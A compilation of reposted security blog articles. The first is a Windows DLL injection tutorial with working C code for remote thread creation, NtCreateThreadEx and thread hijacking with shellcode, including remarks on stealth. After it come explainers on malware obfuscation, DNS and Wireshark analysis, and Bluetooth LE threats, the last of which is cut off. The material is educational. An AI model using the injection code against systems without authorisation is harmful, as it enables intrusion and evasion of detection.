Windows DLL Injection Basics

DLL Injection is one of those things I’ve always sort of knew about but never actually implemented. Probably because I never *really* needed to. I’m not a big gamer and not really into the malware side of security. Actually, the only times I ever need to inject into a running process is during exploitation/post exploitation and Metasploit has spoiled me too much 🙂

So, early last week I decided to actually implement some of the well known Windows DLL injection techniques to keep my mind at ease. Hopefully this blog will get you accustomed to those techniques and maybe inspire you to implement them on your own.

Defined

DLL injection is the process of inserting code into a running process. The code we usually insert is in the form of a dynamic link library (DLL), since DLLs are meant to be loaded as needed at run time. However this doesn’t mean we cannot inject assembly in any other form (executables, handwritten, etc..). It’s important to note that you’ll need to have an appropriate level of privileges on the system to start playing with other program’s memory.

Overview

The Windows API actually offers a number of functions that allow us to attach and manipulate into other programs for debugging purposes. We’ll leverage these methods to perform our DLL Injection. I’ve broken down DLL injection into four steps:

  1. Attach to the process
  2. Allocate Memory within the process
  3. Copy the DLL or the DLL Path into the processes memory and determine appropriate memory addresses
  4. Instruct the process to Execute your DLL

Each one of these steps can be accomplished through the use of one or more programming techniques which are summarized in the below graphic. It’s important to understand the details/options present for each technique as they all have their positives and negatives.

Execution Starting Point

We have a couple of options (e.g. CreateRemoteThread(),NtCreateThreadEx(), etc…) when instructing the target process to launch our DLL. Unfortunately we can’t just provide the name of our DLL to these functions, instead we have to provide a memory address to start execution at. We perform the Allocate and Copy steps to obtain space within the target process’ memory and prepare it as an execution starting point.

There are two popular starting points: LoadLibraryA() and jumping to DllMain.

LoadLibraryA()

LoadLibraryA() is a kernel32.dll function used to load DLLs, executables, and other supporting libraries at run time. It takes a filename as its only parameter and magically makes everything work. This means that we just need to allocate some memory for the path to our DLL and set our execution starting point to the address of LoadLibraryA(), providing the memory address where the path lies as a parameter.

The major downside to LoadLibraryA() is that it registers the loaded DLL with the program and thus can be easily detected. Another slightly annoying caveat is that if a DLL has already been loaded once with LoadLibraryA(), it will not execute it. You can work around this issue but it’s more code.

Jumping to DllMain (or another entry point)

An alternative method to LoadLibraryA() is load the entire DLL into memory, then determine the offset to the DLL’s entry point. Using this method you can avoid registering the DLL with the program (stealthy) and repeatedly inject into a process.

Attaching to the Process

First we’ll need a handle to the process so that we can interact with it. This is done with the OpenProcess() function. We’ll also need request certain access rights in order for us to perform the tasks below. The specific access rights we request vary across Windows versions, however the following should work for most:


hHandle = OpenProcess( PROCESS_CREATE_THREAD | 
                       PROCESS_QUERY_INFORMATION | 
                       PROCESS_VM_OPERATION | 
                       PROCESS_VM_WRITE | 
                       PROCESS_VM_READ, 
                       FALSE, 
                       procID );

Allocating Memory

Before we can inject anything into another process, we’ll need a place to put it. We’ll use the VirtualAllocEx() function to do so.

VirtualAllocEx() takes amount of memory to allocate as one of its parameters. If we use LoadLibraryA(), we’ll allocate space for the full path of the DLL and if we jump to the DllMain, we’ll allocate space for the DLL’s full contents.

DLL Path

Allocating space for just the DLL path slightly reduces the amount of code you’ll need to write but not by much. It also requires you to use the LoadLibraryA() method which has some downsides (described above). That being said, it is a very popular method.

Use VirtualAllocEx() and allocate enough memory to support a string which contains the path to the DLL:


GetFullPathName(TEXT("somedll.dll"), 
                BUFSIZE, 
                dllPath, //Output to save the full DLL path
                NULL);

dllPathAddr = VirtualAllocEx(hHandle, 
                             0, 
                             strlen(dllPath), 
                             MEM_RESERVE|MEM_COMMIT, 
                             PAGE_EXECUTE_READWRITE);

Full DLL

Allocating space for the full DLL requires a little more code however it’s also much more reliable and doesn’t need to use LoadLibraryA().

First, open a handle to the DLL with CreateFileA() then calculate its size with GetFileSize() and pass it to VirtualAllocEx():


GetFullPathName(TEXT("somedll.dll"), 
                BUFSIZE, 
                dllPath, //Output to save the full DLL path
                NULL);

hFile = CreateFileA( dllPath, 
                     GENERIC_READ, 
                     0, 
                     NULL, 
                     OPEN_EXISTING, 
                     FILE_ATTRIBUTE_NORMAL, 
                     NULL );

dllFileLength = GetFileSize( hFile, 
                             NULL );

remoteDllAddr = VirtualAllocEx( hProcess, 
                                NULL, 
                                dllFileLength, 
                                MEM_RESERVE|MEM_COMMIT, 
                                PAGE_EXECUTE_READWRITE ); 

Copying the DLL/Determine Addresses

We can now copy the DLL (path or contents) to the target process space.

Now that we have space allocated in our target process, we can copy our DLL Path or the Full DLL (depending on the method you choose) into that process. We’ll use WriteProcessMemory() to do so:

DLL Path


WriteProcessMemory(hHandle, 
                   dllPathAddr, 
                   dllPath, 
                   strlen(dllPath), 
                   NULL);

Full DLL

We’ll first need to read our DLL into memory before we copy it to the remote processes.


lpBuffer = HeapAlloc( GetProcessHeap(), 
                      0, 
                      dllFileLength); 

ReadFile( hFile, 
          lpBuffer, 
          dllFileLength, 
          &dwBytesRead, 
          NULL );

WriteProcessMemory( hProcess, 
                    lpRemoteLibraryBuffer, 
                    lpBuffer,  
                    dllFileLength, 
                    NULL );

Determining our Execution Starting Point

Most execution functions take a memory address to start at, so we’ll need to determine what that will be.

DLL Path and LoadLibraryA()

We’ll search our own process memory for the starting address of LoadLibraryA(), then pass it to our execution function with the memory address of DLL Path as it’s parameter. To get LoadLibraryA()‘s address, we’ll use GetModuleHandle() and GetProcAddress():

loadLibAddr = GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "LoadLibraryA");

Full DLL and Jump to DllMain

By copying the entire DLL into memory we can avoid registering our DLL with the process and more reliably inject. The somewhat difficult part of doing this is obtaining the entry point to our DLL when it’s loaded in memory. Luckily enough, Stephen Fewer has made our lives easy. He’s pioneered the Reflective DLL Injection technique which offers a greater level of stealth in comparison to existing methods. The LoadRemoteLibraryR() function included within his ReflectiveDLLInjection Inject project implements this entirely, however it limits our execution method to CreateRemoteThread(). So we’ll use the GetReflectiveLoaderOffset() from it to determine our offset in our processes memory then use that offset plus the base address of the memory in the victim process we wrote our DLL to as the execution starting point. It’s important to note here that the DLL we’re injecting must complied with the appropriate includes and options so that it aligns itself with the ReflectiveDLLInjection method.

dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(lpWriteBuff);

Executing the DLL!

At this point we have our DLL in memory and we know the memory address we’d like to start execution at. All that’s really left is to tell our process to execute it. There are a couple of ways to do this.

CreateRemoteThread()

The CreateRemoteThread() function is probably the most widely known and used method. It’s very reliable and works most times however you may want to use another method to avoid detection or if Microsoft changes something to cause CreateRemoteThread() to stop working.

Since CreateRemoteThread() is a very established function, you have a greater flexibility in how you use it. For instance, you can do things like use Python to do DLL injection!

rThread = CreateRemoteThread(hTargetProcHandle, NULL, 0, lpStartExecAddr, lpExecParam, 0, NULL);
WaitForSingleObject(rThread, INFINITE);

NtCreateThreadEx()

NtCreateThreadEx() is an undocumented ntdll.dll function. The trouble with undocumented functions is that they may disappear or change at any moment Microsoft decides. That being said, NtCreateThreadEx() came in good handy when Windows Vista’s session separation affected CreateRemoteThread() DLL injection.

Detailed information about this method is described here:

NtCreateThreadEx() is a bit more complicated to call, we’ll need a specific structure to pass to it and another to receive data from it. I’ve detailed the implementation here:


struct NtCreateThreadExBuffer {
 ULONG Size;
 ULONG Unknown1;
 ULONG Unknown2;
 PULONG Unknown3;
 ULONG Unknown4;
 ULONG Unknown5;
 ULONG Unknown6;
 PULONG Unknown7;
 ULONG Unknown8;
 }; 


typedef NTSTATUS (WINAPI *LPFUN_NtCreateThreadEx) (
 OUT PHANDLE hThread,
 IN ACCESS_MASK DesiredAccess,
 IN LPVOID ObjectAttributes,
 IN HANDLE ProcessHandle,
 IN LPTHREAD_START_ROUTINE lpStartAddress,
 IN LPVOID lpParameter,
 IN BOOL CreateSuspended,
 IN ULONG StackZeroBits,
 IN ULONG SizeOfStackCommit,
 IN ULONG SizeOfStackReserve,
 OUT LPVOID lpBytesBuffer
);

HANDLE bCreateRemoteThread(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) {

 HANDLE hRemoteThread = NULL;

 LPVOID ntCreateThreadExAddr = NULL;
 NtCreateThreadExBuffer ntbuffer;
 DWORD temp1 = 0; 
 DWORD temp2 = 0; 

 ntCreateThreadExAddr = GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")), "NtCreateThreadEx");

 if( ntCreateThreadExAddr ) {
 
  ntbuffer.Size = sizeof(struct NtCreateThreadExBuffer);
  ntbuffer.Unknown1 = 0x10003;
  ntbuffer.Unknown2 = 0x8;
  ntbuffer.Unknown3 = &temp2;
  ntbuffer.Unknown4 = 0;
  ntbuffer.Unknown5 = 0x10004;
  ntbuffer.Unknown6 = 4;
  ntbuffer.Unknown7 = &temp1;
  ntbuffer.Unknown8 = 0;

  LPFUN_NtCreateThreadEx funNtCreateThreadEx = (LPFUN_NtCreateThreadEx)ntCreateThreadExAddr;
  NTSTATUS status = funNtCreateThreadEx(
          &hRemoteThread,
          0x1FFFFF,
          NULL,
          hHandle,
          (LPTHREAD_START_ROUTINE)loadLibAddr,
          dllPathAddr,
          FALSE,
          NULL,
          NULL,
          NULL,
          &ntbuffer
          );
  
  if (hRemoteThread == NULL) {
   printf("\t[!] NtCreateThreadEx Failed! [%d][%08x]\n", GetLastError(), status);
   return NULL;
  } else {
   return hRemoteThread;
  }
 } else {
  printf("\n[!] Could not find NtCreateThreadEx!\n");
 }
 return NULL;

}

Now we can call it very much like CreateRemoteThread():

rThread = bCreateRemoteThread(hTargetProcHandle, lpStartExecAddr, lpExecParam);
WaitForSingleObject(rThread, INFINITE);

Suspend, Inject, and Resume

Suspend, Inject, and Resume is an unofficial term to describe the method of injecting into process by attaching to it, suspending it and all of its threads, targeting a particular thread, saving the current registers, changing the instruction pointer to point to your executing starting point, and resuming the thread. This is a much more intrusive method, but works reliably and does not depend on additional function calls.

This method is a little more involved to implement. There is a great write up here:


VOID suspendInjectResume(HANDLE hHandle, LPVOID loadLibAddr, LPVOID dllPathAddr) {
 /*
  This is a mixture from the following sites:

   http://syprog.blogspot.com/2012/05/createremotethread-bypass-windows.html
   http://www.kdsbest.com/?p=159

 */

 HANDLE hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
 HANDLE hSnapshot2 = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
 HANDLE thread = NULL;
 THREADENTRY32 te;
 THREADENTRY32 te2;
 
 CONTEXT   ctx;
 DWORD firstThread = 0;
 HANDLE targetThread = NULL;

 LPVOID scAddr;

 int i;
 
 unsigned char sc[] = {
   // Push all flags
   0x9C,
   // Push all register
   0x60,
   // Push 3,4,5,6 (dllPathAddr)
   0x68, 0xAA, 0xAA, 0xAA, 0xAA, 
   // Mov eax, 8,9,10, 11 (loadLibAddr)
   0xB8, 0xBB, 0xBB, 0xBB, 0xBB,
   // Call eax
   0xFF, 0xD0,
   // Pop all register
   0x61,
   // Pop all flags
   0x9D,
   // Ret
   0xC3
  };

 te.dwSize = sizeof(THREADENTRY32);
 te2.dwSize = sizeof(THREADENTRY32);
 ctx.ContextFlags = CONTEXT_FULL;

 sc[3] = ((unsigned int) dllPathAddr & 0xFF);
 sc[4] = (((unsigned int) dllPathAddr >> 8 )& 0xFF);
 sc[5] = (((unsigned int) dllPathAddr >> 16 )& 0xFF);
 sc[6] = (((unsigned int) dllPathAddr >> 24 )& 0xFF);

 sc[8] = ((unsigned int) loadLibAddr & 0xFF);
 sc[9] = (((unsigned int) loadLibAddr >> 8 )& 0xFF);
 sc[10] = (((unsigned int) loadLibAddr >> 16 )& 0xFF);
 sc[11] = (((unsigned int) loadLibAddr >> 24 )& 0xFF);
 
 

 // Suspend Threads
 if(Thread32First(hSnapshot, &te)) {
  do {
   if(te.th32OwnerProcessID == GetProcessId(hHandle)) {
    if ( firstThread == 0 )
     firstThread = te.th32ThreadID;
    thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te.th32ThreadID);
    if(thread != NULL) {
     printf("\t[+] Suspending Thread 0x%08x\n", te.th32ThreadID);
     SuspendThread(thread);
     CloseHandle(thread);
    } else {
     printf("\t[+] Could not open thread!\n");
    }
   }
  } while(Thread32Next(hSnapshot, &te));
 } else {
  printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());
  CloseHandle(hSnapshot);
  exit(-1);
 }
 CloseHandle(hSnapshot);

 printf("\t[+] Our Launcher Code:\n\t");
 for (i=0; i<17; i++)
  printf("%02x ",sc[i]);
 printf("\n");
 //  Get/Save EIP, Inject
 printf("\t[+] Targeting Thread 0x%08x\n",firstThread);
 targetThread = OpenThread(THREAD_ALL_ACCESS, FALSE, firstThread);
 if (GetThreadContext(targetThread, &ctx) == 0) 
  printf("[!] GetThreadContext Failed!\n");
 printf("\t[+] Current Registers: \n\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);

 printf("\t[+] Saving EIP for our return\n");
 ctx.Esp -= sizeof(unsigned int);
 WriteProcessMemory(hHandle, (LPVOID)ctx.Esp, (LPCVOID)&ctx.Eip, sizeof(unsigned int), NULL);
 printf("\t\tEIP[0x%08x] ESP[0x%08x] EBP[0x%08x]\n", ctx.Eip, ctx.Esp, ctx.Ebp);

 scAddr = VirtualAllocEx(hHandle, NULL, 17, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 printf("\t[+] Allocating 17 bytes for our Launcher Code [0x%08x][%d]\n", scAddr, GetLastError());

 printf ("\t[+] Writing Launcher Code into targetThread [%d]\n", WriteProcessMemory(hHandle, scAddr, (LPCVOID)sc, 17, NULL));

 printf("\t[+] Setting EIP to LauncherCode\n");
 ctx.Eip = (DWORD)scAddr;
 printf("\t\tEIP[0x%08x] ESP[0x%08x]\n", ctx.Eip, ctx.Esp);

 if (SetThreadContext(targetThread, &ctx) == 0) 
  printf("[!] SetThreadContext Failed!\n");

 // Resume Threads
 hSnapshot = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 );
 te.dwSize = sizeof(THREADENTRY32);

 if(Thread32First(hSnapshot2, &te2)) {
  do {
   if(te2.th32OwnerProcessID == GetProcessId(hHandle)) {
    thread = OpenThread(THREAD_ALL_ACCESS | THREAD_GET_CONTEXT, FALSE, te2.th32ThreadID);
    if(thread != NULL) {
     printf("\t[+] Resuming Thread 0x%08x\n", te2.th32ThreadID);
     ResumeThread(thread);
     if (te2.th32ThreadID == firstThread) 
      WaitForSingleObject(thread, 5000);
     CloseHandle(thread);
    } else {
     printf("\t[+] Could not open thread!\n");
    }
   }
  } while(Thread32Next(hSnapshot2, &te2));
 } else {
  printf("\t[+] Could not Thread32First! [%d]\n", GetLastError());
  CloseHandle(hSnapshot2);
  exit(-1);
 }
 CloseHandle(hSnapshot2);
}

Side Note: DLL Proxying/DLL Hijacking

As a side note, DLL injection is very much different then DLL Proxying and Hijacking. For some reason, people tend to confuse these. The latter impersonates a legitimate DLL and essentially “tricks” the application to load it, while the former inserts a DLL into a process while its running.

DLL Proxying most commonly assumes you have full control over the application’s install directory. The “attacker” renames the legitimate DLL and copies their own DLL into the install directory. When the application runs, it loads the attacker’s DLL (since it’s named correctly) and then the attacker’s DLL relays the function calls to the legitimate one. DLL Proxying is most commonly used by the actual owner of the system as a method to extend application functionality. For instance, DLL proxying is popular in the gaming world. Lots of people use this technique to modify game functionality for cheating or other sorts of fun. “Spy” applications also leverage DLL Proxying in an attempt to capture user provided application values.

DLL Hijacking is similar to proxying but differs in that hijacking usually abuses Windows’ DLL search order in order to compromise a system (or otherwise control the flow of the application). It doesn’t usually require the attacker to have write permission to the application’s installation directory but rather the directory where the application was launched. In the case that the application attempts to call a non-existent DLL or if an attacker was able to place a malicious DLL in the same directory as a file that launches a vulnerable application, the attacker’s DLL would be loaded and code execution would be achieved. This is because Windows [used to] search for application DLLs in the current directory from which the application was loaded before most other locations.

dllInjector!

All of the techniques described here have been implemented in a small project called dllInjector that I’ll release in the next upcoming weeks! For a sneak preview, check it out here:

Original Post: http://blog.opensecurityresearch.com/2013/01/windows-dll-injection-basics.html

Obfuscation: Malware’s best friend

Obfuscation: Malware’s best friend

Obfuscation: Malware’s best friend

Here at Malwarebytes, we see a lot of malware. Whether it’s a botnet used to attack web servers or a ransomware stealing your files, much of today’s malware wants to stay hidden during infection and operation to prevent removal and analysis. Malware achieves this using many techniques to thwart detection and analysis—some examples of these include using obscure filenames, modifying file attributes, or operating under the pretense of legitimate programs and services. In more advanced cases, the malware might attempt to subvert modern detection software (i.e. MBAM) to prevent being found, hiding running processes and network connections. The possibilities are quite endless.

Despite advances in modern malware, dirty programs can’t hide forever.  When malware is found, it needs some additional layers of defense to protect itself from analysis and reverse engineering.  By implementing additional protection mechanisms, malware can be more difficult to detect and even more resilient to takedown.  Although a lot of tricks are used to hide malware’s internals, a technique used in nearly every malware is binary obfuscation.

Obfuscation (in the context of software) is a technique that makes binary and textual data unreadable and/or hard to understand.  Software developers sometimes employ obfuscation techniques because they don’t want their programs being reverse-engineered or pirated.

Its implementation can be as simple as a few bit manipulations and advanced as cryptographic standards (i.e. DES, AES, etc).  In the world of malware, it’s useful to hide significant words the program uses (called “strings”) because they give insight into the malware’s behavior.  Examples of said strings would be malicious URLs or registry keys.  Sometimes the malware goes a step further and obfuscates the entire file with a special program called a packer.

Let’s see some practical obfuscation examples used in a lot of malware today.

Scenario 1: The exclusive or operation (XOR)
The exclusive or operation (represented as XOR) is probably the most commonly used method of obfuscation.  This is because it is very easy to implement and easily hides your data from untrained eyes.  Consider the following highlighted data.

XOR_encode

In its current form, the data is unreadable.  But when we apply an XOR value of 0x55, we see something else entirely.

XOR_decode

Now we have our malicious URL.  Looks like this malware contacts “http://tator1157.hostgator.com” to retrieve the file “bot.exe”.

This form of obfuscation is typically very easy to defeat.  Even if you don’t have the XOR key, programs exist to manually cycle through every possible single-byte XOR value in search of a particular string.  One popular tool available on both UNIX and Window platforms is XORSearch written by Didier Stevens.  This tool searches for strings encoded in multiple formats, including XOR.

Because malware authors know programs like these exist, they implement tricks of their own to avoid detection.  One thing they might do is a two-cycle approach, performing an XOR against data with a particular value and then making a second pass with another value.  A separate technique (although equally effective) commonly used is to increment the XOR value in a loop.  Using the previous example, we could XOR the letter ‘h’ with 0x55, then the letter ‘t’ with 0x56, and so on.  This would also defeat common XOR detection programs.

Scenario 2: Base64 encoding

Base64 encoding has been used for a long time to transfer binary data (machine code) over a system that only handles text.  As the name suggests, its encoding alphabet contains 64 characters, with the equal sign (=) used as a padding character.  The alphabet contains the characters A-Z, a-z, 0-9, + and /.  Below is an example of some encoded text representing the string pointing to the svchost.exe file, used by Windows to host services.

base64_

While the encoded output is completely unreadable, base64 encoding is easier to identify than a lot of encoding schemes, usually because of its padding character.  There are a lot of tools that can perform base64 encode/decode functions, both online and via downloaded programs.

Because base64 encoding is so easy to overcome, malware authors usually take things a step further and change the order of the base64 alphabet, which breaks standard decoders.  This allows for a custom encoding routine that is more difficult to break.

Scenario 3: ROT13
Perhaps the most simple of the three techniques that’s commonly used is ROT13.  ROT is an ASM instruction for “rotate”, hence ROT13 would mean “rotate 13”.  ROT13 uses simple letter substitution to achieve obfuscated output.

Let’s start by encoding the letter ‘a’.  Since we’re rotating by thirteen, we count the next thirteen letters of the alphabet until we land at ‘n’.  That’s really all there is to it!

ROT13_

The above image shows a popular registry key used to list programs that run each time a user logs in.    ROT13 can also be modified to rotate a different number of characters, like ROT15.

Scenario 4: Runtime packers
In a lot of cases, the entire malware program is obfuscated.  This prevents anybody from viewing the malware’s code until it is placed in memory.

This type of obfuscation is achieved using what’s known as a packer program.  A packer is piece of software that takes the original malware file and compresses it, thus making all the original code and data unreadable.  At runtime, a wrapper program will take the packed program and decompress it in memory, revealing the program’s original code.

Packers have been used for a long time for legitimate purposes, some of which include reducing file sizes and protecting against piracy.  They help conceal vital program components and deter novice program crackers.

Fortunately, we aren’t without help when it comes to identifying and unpacking these files.  There are many programs available that detect commercial packers, and also advise on how to unpack.  Some examples of these file scanners are Exeinfo PE and PEID (no longer developed, but still available for download).

exeinfope

However, as you might expect, the situation can get more complicated.  Malware authors like to create custom packers to prevent less-experienced reverse engineers from unpacking their malware’s contents.  This approach defeats modern unpacking scripts, and forces reversers to manually unpack the file and see what the program is doing.  Even rarer, sometimes malware authors will twice-pack their files, first with a commercial packer and then their own custom packer.

Conclusion
While this list of techniques is certainly not exhaustive, hopefully this has provided a better understanding of how malware hides itself from plain sight.  Obfuscation is a highly reliable technique that’s used to hide file contents, and sometimes the entire file itself if using a packer program.

Obfuscation techniques are always changing, but rest assured knowing we at Malwarebytes are well-aware of this.  Our staff has years of experience in fighting malware, and goes to great lengths to see what malicious files are really doing.

Bring it on, malware.  Do your worst!

Original Post: https://blog.malwarebytes.com/threat-analysis/2013/03/obfuscation-malwares-best-friend/

DNS Analysis and Tools

In this article, we will take a look at the complete DNS process, DNS lookup, DNS reverse lookup, DNS zone transfer, etc. along with some tools to analyze & enumerate DNS traffic.

Domain Name System (DNS) is a naming system used to convert human readable domain names like infosecinstitute.com into a numerical IP address. The process works like this: Let’s assume a user types infosecinstitute.com in their browser and what you see is indeed the infosecinstitute website. But what happens behind the scenes is rather interesting, like how the request got from my browser to the correct domain name?

Well, it is the job of the DNS resolver in the end user system to fetch the IP address for the requested domain. DNS settings can be managed in the following ways in end user system.

But how does the request actually change it to infosecinstitute.com? Well, the DNS resolver first checks the local cache to see if it contains any records for the requested IP. The local DNS cache can be checked using command:

ipconfig /displaydns

As you can see since in my cache there is already a request logged for www.infosecinstitute.com, now for future requests, all the queries to this domain can be fulfilled from local cache until the cache is refreshed and the respective IP is mapped under A record. Now this story seems simple, but how does the cache actually get filled? Yes, you guess it right; it filled when I browse the website, but the 2nd part of the question is still not answered how it actually fetches the website in the first attempt.

In the first attempt to browse a website by domain name, DNS resolver will query the ISP DNS server to look out for records, and if it is not found there, then a recursive DNS query starts which means querying DNS servers till the records are found. These recursive servers contain their own local cache in which they will look for results. Then if the result is still not found then, the query will be directed to root nameserver from where it will be redirected to the Top level domain(TLD) name servers. TLD nameserver reads the request from right to left and directs the query to TLD nameserver such as to .com TLD. Then .com TLD looks out for next part of request like infosecinstitute.com and query will be redirected to authoritative nameserver which surely has the information. For IP address, the information is A record. Remember request is still from the recursive nameserver, so the record is retrieved and stored in the local cache of the nameserver. This answer is further returned to end user computer and is stored in local cache.

Below are some important record types which can very well tell us the nature of NDS request. Some of the important Record Types are:

  • A record: Defines a host address
  • NS record: Authoritative Nameserver
  • MX record: Mail Exchange

For example, below we are using nslookup on infosecinstitute.com

Here we have set type=a and type=ns to display A record and NS record. We can see that ns1.pairnic.com is an authoritative name server for infosecinstitute.com. However, we will see below that using tool like dnsEnum this all information can be retrieved by default.

For a complete list of the type of records, see here.

Lookups

  • Forward Lookup: Above process that is we have mentioned is also known as Forward lookup. Take a look at below screenshot

    A very basic example is to use nslookup on google.com, and then IP address is displayed.

    Below is another example of nslookup on infosecinstitute.com which with the usage of type A & NS.

  • Reverse Lookup: As its name suggests, reverse lookup is a determination of domain name from IP address. For ipv4 address, reverse DNS lookups uses special domain in-addr.arpa for any query and is appended to the IP address for performing a reverse lookup. The reason to use a specific domain in-addr.arpa for reverse lookup is because how DNS structure is built and for reverse DNS if that structure is followed then it will take too long. This IP address is then read or with some tools mentioned in reverse order for example if we have to perform a reverse lookup for 1.2.3.4 then we need to search for 4.3.2.1

For example, below we are doing a reverse nslookup on one of Google servers. As you can see that address is reversed and in-addr.arpa is appended

Below is an example of reverse lookup for infosecinstitute.

Looks like we cannot perform reverse lookup on infosecinstitute.com domain ☺

DNS Analysis in Kali

As we know, Kali distro is specially assembled for pen testers and have some really cool tools available to do pen-test in just a few clicks. For DNS analysis also it has some great tools. Below are some of the tools that can be used for DNS information gathering.

  • Dnsenum

As we can see, we get all the information for infosecinstitute automatically from dnsEnum tool which having to specify the record type that we were doing in nslookup. We can see Host IP address, Nameservers, Mail Servers, etc. In its simplest usage, type dnsenum <domainname>. For more important options like no-reverse type –h as a parameter.

  • Dnsrecon

    Short for DNS reconnaissance, this tool is also present in Kali distro. Below is a screenshot of Dnsrecon in action.

    We can see that dnsrecon gives us a good amount of information on domain infosecinstitute.com. We can see record types like A, SOA, MX, NS, TXT and even SRV.

  • Dnstracer

    Dnstracer gives us a map of a complete request from end user machine to NS.

    Here we have the tracing like

    #end-user-machine# <—> #DNS server#<—> Google name server (ns (1|2|3|4).google.com)

DNS Structure & Packet Analysis using Wireshark

In this section, we will cover DNS structure and packet Analyses using a very powerful tool known as Wireshark. Many of you reading the article might already be familiar with this tool as it is extremely popular tool mainly because of the wide protocol it supports and for a user-friendly interface.

So let’s take a look at the complete DNS structure in the following examples.

Below is a screenshot for a standard query and response packet in Wireshark. As you can see below is a request for infosecinstitute.com for Records types: Type A and Type AAAA which is simply asking host’s ipv4 address and ipv6 address respectively.

Below is a complete DNS request format for record type A

Important points to note here are:

  • Before DNS protocol notice that UDP is used for source port 54458 and destination port 53.
  • We can see the Response packet no for this query. In this case, it is 30. Also, note the transaction ID. It should match in the response packet.
  • Under Flags:
    • The first bit is set to 0 which means it is a query. Bonus points to you if you can guess what will be set for query response(See below in the response section below)
    • Next, 4 bits are set to 0000 which means that it is a standard DNS query.
    • The 8t bit is set to 1 which means that recursive queries are enabled on our DNS server.
    • 14th Bit is set to 0 which means it will accept authenticated data.
  • Under Queries, you can see that the request is made for www.infosecinstitute.com for record type A in internet (IN) class.

Similar DNS query for record type AAAA below

Now let’s take a look at the response section. Below is a query response for an earlier query for record type A.

Important points to note in the response structure are:

  • We can see the Request query packet no for this response. Transaction ID is correctly matched to transaction ID within Request query packet.
  • Under Flags:
    • The first bit is set to 1 which means that it is a DNS response packet.
    • Recursive queries are enabled.
    • There is no error in the response query.
  • Also, there is some additional data (name servers) found in the response.
  • There are more sections to Queries and Answers which relates to what was asked from DNS and what is the response. In this example, we have queried IP address for www.infosecintitute.com and got the answer: 107.170.21.171
  • There are some authoritative name servers also found for infosecinstitute.
  • Under Additional Records, we can even see the IP address of these authoritative nameservers.

Below is a similar response to request query for record type AAAA.

Since there will be a lot of data flowing across the monitored interface, we can use Wireshark filter capability to automatically recognize/display only DNS packets (in this case). Below is an interface to create a new filter under Capture>Filters.

Click on + sign to create a new filter. Below is an example where I created a DNS filter to filter traffic destined for port 53.

Notice I did not mention any protocol here because I want to see both UDP and TCP for port 53. As a reminder, TCP 53 is used for zone transfer(AXFR).

Now we will see how to analyze zone transfer in Wireshark.

Below is an example of a zone transfer request to www.infosecinstitute.com. Look out for results below

Since zone transfer happens over TCP, so the first 3 packets you can see is the handshake process happening. After a successful handshake, a DNS standard query for record type AXFR is made. Below is the request query

Notice the query type under queries section. Below is the response packet for this request query.

As you can see that the reply code is 9 which means DNS server is not authoritative to get zones from authoritative name servers which result in connection termination which we can in the below connection termination sequence of TCP packets.

DNS traffic analysis adds a lot of context during the investigation, for example, we can build up Indicators of Compromise based on DNS traffic, we can detect DNS zone transfers and even an organization can look at how much information it has actually revealed about itself. With these analysis results, DNS servers can be hardened.In this article, we have also learned that how looking at DNS records like AAAA, AA; DNS lookups (both forward and reverse); Response Codes; Queries and Answers; Wireshark packet stream feature can really help to set the context for an investigation.

Original Post: http://resources.infosecinstitute.com/dns-analysis-and-tools/

Security Considerations For Bluetooth Smart Devices

Bluetooth Smart is an emerging short range wireless technology aimed for low power devices. Bluetooth 4.2 core specification provides various methods to secure the communication between devices and establish trusted connections.

 

1. Introduction

Bluetooth smart (also known as Bluetooth low energy or BLE) is introduced in the legacy Bluetooth 4.0 specification by Bluetooth special interest group. Bluetooth smart is primarily designed for low power embedded devices with limited computation capabilities. With expeditious growth in the IoT technology, Bluetooth Low Energy Module has become substantiate criterion for the smart devices.

Bluetooth specification supports the asymmetrical architecture of the LE devices. Memory and processing power requirements of peripheral devices are much lower than the central. This will be a great advantage in case of single mode – peripheral only devices. Device that acts always as peripheral can be designed with low memory, longer battery life and low power consumption. Low power smart wearable devices available in market such as Bluetooth heart rate monitors, blood pressure monitors, fitness kit, smart watches etc. run on a small coin cell battery for years.

2. Low energy, Low security

Like any other wireless technology, BLE is no exception from security threats. While Bluetooth LE beacons bring lots of potential in the IOT design, security threats such as device tracking, eaves dropping, and man in the middle attack are increasing significantly. BLE devices are designed to broadcast MAC, UUID and service information’s at a predefined interval. Due to continuous advertisement, hackers can easily track the device and decode the broadcasting information using a sniffers or even smart phone. Below Figure 1 indicates how a LE device can be tracked by the hacker and steal sensitive data over a period of time across various geographical locations.

With hacking and cybercrime reported enormously all over the world, people are extremely concerned about the privacy. Sensitive data getting in to the hands of the wrong people without user consent may lead to significant damages. For example, if such devices with serious security flaws are deployed in military, it can reveal the secrets to the rivals.

Figure 1 – LE devices without privacy

3. Threats for Bluetooth Smart

Passive Eavesdropping:

Passive eavesdropping is secretly listening to the private communication between two devices in real-time by un-authenticated third party devices (eavesdropping equipment). Using a 2.4GHZ channel sniffer, one can listen to all the communication between BLE devices without the consent of communicating devices. Since eavesdropping does not affect the normal communication between the devices, chances of user noticing eavesdropping attempt are extremely low. If unencrypted message or unsigned messages are used in communication, hacker can get direct access to all the confidential data exchanged between the devices. Pairing procedures are the well-known techniques to avoid the eavesdropping issues and encrypt the messages before exchange. But, if the attacker is listening to the devices during the pairing process itself, then pairing methods can’t assure the safety against the attack!

Man in the Middle (MITM):

